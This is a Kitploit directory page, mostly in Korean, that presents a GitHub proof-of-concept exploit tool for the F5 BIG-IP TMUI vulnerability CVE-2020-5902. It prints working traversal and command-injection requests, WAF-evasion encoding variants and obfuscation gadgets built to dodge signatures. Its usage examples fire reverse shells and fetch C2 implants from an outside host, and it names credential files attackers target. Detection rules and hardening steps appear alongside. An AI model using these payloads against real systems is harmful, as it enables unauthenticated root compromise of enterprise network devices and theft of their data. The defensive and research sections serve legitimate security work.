Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
F5-BIG-IP — O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades. | Kitploit
도구/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →

소개

O F5 BIG-IP é uma plataforma de entrega e segurança de aplicações amplamente utilizada em ambientes corporativos. A CVE-2020-5902 é uma vulnerabilidade crítica no TMUI que, em versões não corrigidas, pode permitir acesso não autorizado e execução remota de código, reforçando a necessidade de atualização e gestão contínua de vulnerabilidades.

GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

저장소 보기
1개월 전아직 검토되지 않음
공유

CVE-2020-5902 — F5 BIG-IP TMUI RCE

F5 BIG-IP의 Traffic Management User Interface (TMUI)의 중요한 경로 탐색 / 원격 코드 실행 취약점에 대한 개념 증명 익스플로잇입니다.

⚠️ 승인된 침투 테스트 및 보안 연구에만 사용하십시오. 소유하지 않았거나 테스트에 대한 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.


목차

  • 배경
  • 취약점 분석
  • 기술 심층 분석
  • 영향을 받는 버전
  • 기능
  • 설치
  • 사용법
  • 방어 조치
  • 탐지 및 위협 헌팅
  • 타임라인
  • 참고 자료
  • 면책 조항

배경

F5 BIG-IP는 로드 밸런서, WAF, 애플리케이션 전송 컨트롤러 등 다목적 네트워크 장비 제품군으로, 전 세계 포츈 500대 기업, 금융 기관, 의료 기관, 정부 기관 대부분에서 배포됩니다. Traffic Management User Interface (TMUI) — 설정 유틸리티라고도 함 — 는 포트 443(또는 8443)에서 접근 가능한 웹 기반 관리 포털입니다.

2020년 7월, F5는 CVE-2020-5902를 공개했습니다. 이는 TMUI의 심각(CVSS 9.8) 인증되지 않은 경로 탐색 취약점으로, 원격의 인증되지 않은 공격자가 다음을 수행할 수 있습니다:

  • 기본 Linux 시스템에서 임의 파일 읽기 (LFI)
  • 루트 권한으로 임의 OS 명령 실행 (RCE)
  • 장비를 완전히 손상시키고 내부 네트워크로 피벗

공개 후 며칠 이내에, 국가 행위자를 포함한 대규모 익스플로잇이 실제 환경에서 관찰되었습니다.


취약점 분석

근본 원인

TMUI는 Apache Tomcat을 기반으로 구축되었으며, 보호된 리소스에 대한 인증을 강제하기 위해 서블릿 필터를 사용합니다. 취약점은 Tomcat이 세미콜론으로 구분된 경로 세그먼트(;)를 구문 분석하는 방식에 있습니다.

다음 요청은 인증을 완전히 우회합니다:

root@kitploit:~
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

작동 원리:

  1. Tomcat 서블릿 필터는 경로를 /tmui/login.jsp(; 앞에서 끝남)로 인식합니다. 이는 공용 로그인 페이지이므로 요청을 허용합니다.
  2. 그런 다음 Tomcat URL 해석기는 디스패치 전에 /..;/를 경로 탐색(/../)으로 처리합니다.
  3. 요청은 궁극적으로 보호된 fileRead.jsp 서블릿으로 인증 없이 라우팅됩니다.
root@kitploit:~
┌──────────────────────────────────────────────────────────────────┐
│  Client Request                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet Filter       │
             │  Sees: /tmui/login.jsp  ✓     │
             │  (public endpoint → ALLOW)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL Resolver         │
             │  Resolves: /..;/ → /../       │
             │  Final path: /tmui/locallb/   │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (no auth check) │
             │  Reads arbitrary files as root│
             └───────────────────────────────┘

LFI에서 RCE로

tmshCmd.jsp 서블릿(동일한 탐색으로 접근 가능)은 command 및 utilCmdArgs 매개변수를 tmsh(BIG-IP 관리 셸)에 직접 전달하며, 이는 run util bash -c '...'로 래핑됩니다. 이를 통해 인증되지 않은 루트 수준 OS 명령 실행이 가능합니다:

root@kitploit:~
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

기술 심층 분석

공격 흐름

root@kitploit:~
Phase 1: Reconnaissance
  └─ TCP banner grab (HTTP/TLS fingerprint)
  └─ SSL certificate analysis
  └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
  └─ BIG-IP version estimation from /etc/f5-release

Phase 2: Vulnerability Check
  └─ Iterate over 6 traversal encoding variants
  └─ Test against 4 known-readable sentinel files
  └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)

Phase 3: Exploitation
  ├─ Vector A: tmshCmd.jsp (primary RCE)
  │    └─ Command obfuscated via base64 / hex-encode gadgets
  ├─ Vector B: fileRead.jsp + command injection in fileName param
  │    └─ OS command injected into the fileName parameter
  └─ Vector C: Log poisoning (User-Agent injection → read access_log)

Phase 4: Post-Exploitation (optional)
  ├─ Interactive shell (command REPL)
  ├─ Reverse shell (4 concurrent one-liners)
  ├─ LFI brute-force (30 sensitive paths, parallel)
  └─ C2 implant deployment (Sliver / Metasploit / custom)

탐색 인코딩 변형

명령 난독화 가젯

이 도구는 실행 시 두 가지 난독화 가젯 중 하나를 적용하여 정적 서명 탐지를 더 어렵게 만듭니다:

root@kitploit:~
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"

영향을 받는 버전

BIG-IQ, BIG-IQ Centralized Management, F5OS 및 Traffix SDC는 이 특정 CVE의 영향을 받지 않습니다.


기능

  • 다중 변형 경로 탐색 — WAF/IDS 서명을 우회하는 6가지 인코딩 변형
  • 세 가지 독립적인 RCE 벡터 — tmshCmd.jsp, fileRead 주입, 로그 중독
  • 명령 난독화 가젯 — base64 및 hex-encode 파이프라인
  • 수동 정찰 단계 — TCP 배너, SSL/TLS 지문, HTTP 헤더 분석
  • 병렬 LFI 무차별 대입 — 30개의 민감한 경로, 10개의 동시 스레드
  • 동시 리버스 셸 — 4개의 원라이너 동시 발사
  • C2 통합 — Sliver, Metasploit, 사용자 정의 임플란트 (Linux/Windows/PS1)
  • 회피 헤더 — 임의 User-Agent, IP 스푸핑 헤더, 노이즈 헤더
  • 대화형 셸 REPL — !revshell, !c2, !read, !brute 명령
  • 프록시 지원 — Burp Suite / mitmproxy 통합

설치

root@kitploit:~
git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

요구 사항: Python 3.10+


사용법

root@kitploit:~
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

예제

root@kitploit:~
# 1. 취약점 확인만
python CVE-2020-5902.py 192.168.1.100

# 2. 사용자 정의 포트 + 단일 명령 실행
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. 대화형 셸
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI 무차별 대입 (30개의 민감한 경로 읽기)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. 리버스 셸 콜백
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. C2 임플란트 배포 (Sliver 예제)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Burp Suite를 통해 트래픽 검사
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

대화형 셸 명령

--shell 모드에서 다음 특수 명령을 사용할 수 있습니다:


방어 조치

즉시 완화 조치 (패치가 아직 불가능한 경우)

1. 인터넷에서 TMUI 접근 차단

가장 효과적인 단일 완화 조치는 관리 인터페이스가 신뢰할 수 없는 네트워크에서 절대 접근 불가능하도록 하는 것입니다:

root@kitploit:~
# BIG-IP: 관리 접근을 전용 VLAN/IP 범위로 제한
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

또는 BIG-IP Self IP 구성에서 관리 포트에 외부 경로가 없는지 확인하십시오.

2. F5의 공식 완화 조치 적용 (패치 전)

F5는 탐색 패턴을 차단하는 Apache RewriteRule을 추가하는 완화 스크립트를 게시했습니다:

root@kitploit:~
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

참고: K52145254 — 완화 단계

3. 패치 — 수정된 버전 적용

확정적인 수정은 BIG-IP를 패치된 릴리스로 업그레이드하는 것입니다(영향을 받는 버전 표 참조). F5는 인증 적용 전에 세미콜론으로 구분된 경로 세그먼트를 올바르게 구문 분석하도록 서블릿 필터 로직을 수정했습니다.


아키텍처 수준 방어

관리 평면에 대한 제로 트러스트 네트워크 접근

root@kitploit:~
┌────────────────────────────────────────────────────────────────┐
│  RECOMMENDED ARCHITECTURE                                       │
│                                                                 │
│  Internet ──────► Firewall ──────► DMZ / Production           │
│                      │                                          │
│                      │  (DENY all traffic to mgmt ports)        │
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (management VLAN only)     │
└────────────────────────────────────────────────────────────────┘

핵심 원칙:

  • 관리 인터페이스는 절대 프로덕션 트래픽과 동일한 IP/포트에 있어서는 안 됩니다.
  • 점프 호스트에 도달하기 전에 VPN + MFA가 필요합니다.
  • BIG-IP Self IP 포트 잠금은 Allow None 또는 Allow Defaults로 설정해야 합니다.

웹 애플리케이션 방화벽 규칙

BIG-IP 관리 앞에 WAF가 있는 경우(드물지만 일부 아키텍처에서는 가능), 다음을 차단하는 규칙을 추가하세요:

  • URL 경로에 ;가 포함된 요청
  • 경로 세그먼트에 ..; 또는 %3b가 일치하는 요청
  • 비관리 소스에서 /tmui/locallb/workspace/로의 요청

보안 강화 체크리스트

root@kitploit:~
[ ] BIG-IP가 수정된 버전으로 패치됨
[ ] TMUI가 인터넷에 노출되지 않음 (Shodan/Censys로 확인)
[ ] 관리 VLAN이 프로덕션과 분리됨
[ ] Self IP 포트 잠금 구성됨 (Allow None 또는 Allow Defaults)
[ ] 관리 접근에 MFA 적용
[ ] 자산 관리 시스템에 BIG-IP 소프트웨어 인벤토리
[ ] 자동 취약점 스캔(Tenable/Qualys)에 BIG-IP 포함
[ ] SIEM에 로그 전달 구성됨 (access_log, audit.log)
[ ] 네트워크 분할: 손상된 BIG-IP가 도메인 컨트롤러에 도달할 수 없음
[ ] 사고 대응 플레이북에 네트워크 장비 손상 시나리오 포함

탐지 및 위협 헌팅

IDS/IPS 서명 (Snort / Suricata)

root@kitploit:~
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Apache/HTTPD 로그 패턴 (grep)

root@kitploit:~
# BIG-IP 액세스 로그에서 탐색 시도 찾기
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# 취약한 엔드포인트에 대한 성공적인 히트 찾기
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

SIEM 쿼리 (Splunk SPL)

root@kitploit:~
index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

침해 지표 (IOCs)

URL 패턴:

root@kitploit:~
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

일반적인 공격자 목표 (접근된 파일):

root@kitploit:~
/etc/passwd                  — 자격 증명 수집
/config/bigip.conf           — VPN/라우팅 설정 유출
/config/bigip.license        — 라이선스 키 도난
/config/bigip_user.conf      — 로컬 관리자 계정 열거
/root/.bash_history          — 과거 명령 정찰

타임라인


참고 자료

  • NVD — CVE-2020-5902
  • F5 Security Advisory K52145254
  • CISA Emergency Directive 20-03
  • Rapid7 Analysis
  • BleepingComputer Coverage
  • Shodan Query: http.title:"BIG-IP" port:443

면책 조항

이 도구는 교육 목적 및 승인된 보안 평가만을 위해 제공됩니다. 다음을 대상으로 합니다:

  • 자산 소유자의 서면 승인을 받은 침투 테스터
  • 실험실 환경에서 취약점을 연구하는 보안 연구원
  • 탐지 서명 및 강화 구성을 구축하는 방어자
  • CTF(Capture the Flag) 대회 참가자

명시적인 서면 허가 없이 이 도구를 시스템에 사용하는 것은 형사 범죄이며, 이는 미국 컴퓨터 사기 및 남용법(CFAA), 영국 컴퓨터 오용법, 브라질 Lei Nº 12.737/2012 (Lei Carolina Dieckmann) 및 전 세계 대부분의 관할권의 동등한 법률에 위배됩니다.

이 저장소의 저자와 기여자는 이 소프트웨어의 오용으로 인한 모든 손해, 법적 결과 또는 기타 피해에 대해 어떠한 책임도 지지 않습니다.


보안 연구 커뮤니티를 위해 만들어졌습니다. 시스템을 패치하세요. 네트워크를 보호하세요.

도구 다운로드
변형페이로드
표준tmui/login.jsp/..;/tmui/...
인코딩된 세미콜론tmui/login.jsp/..%3b/tmui/...
이중 URL 인코딩tmui%2flogin.jsp%2f..%3b%2ftmui%2f...
유니코드 점-점tmui/login.jsp/%2e%2e;/tmui/...
대소문자 변형TMUI/login.jsp/..;/tmui/...
디렉토리 혼동tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...
BIG-IP 브랜치취약 범위패치 버전
15.x< 15.1.0.4≥ 15.1.0.4
14.x< 14.1.2.6≥ 14.1.2.6
13.x< 13.1.3.4≥ 13.1.3.4
12.x< 12.1.5.2≥ 12.1.5.2
11.x< 11.6.5.2≥ 11.6.5.2
명령설명
!revshell <lhost> <lport>4개의 리버스 셸 변형을 동시에 발사
!c2 <url> <type> [args]C2 임플란트 다운로드 및 실행
!read <path>LFI를 통해 임의 파일 읽기
!brute30개의 민감한 경로를 무차별 대입
!exit세션 종료
<any OS command>RCE를 통해 실행하고 출력 출력
날짜사건
2020-06-30F5에 비공개 통보
2020-07-01F5가 권고(K52145254) 및 패치 발표
2020-07-03트위터에 공개 PoC 배포
2020-07-04여러 위협 인텔리전스 기업이 대규모 익스플로잇 관찰
2020-07-06CISA, 연방 패치를 의무화하는 긴급 지시 20-03 발행
2020-07-09국가 행위자(APT)의 실제 환경 익스플로잇 확인됨
2020-07-15약 8,000개의 BIG-IP 인스턴스가 여전히 패치되지 않음 (Shodan)
2020-08-xx랜섬웨어 그룹이 패치되지 않은 BIG-IP 장치를 표적으로 삼기 시작함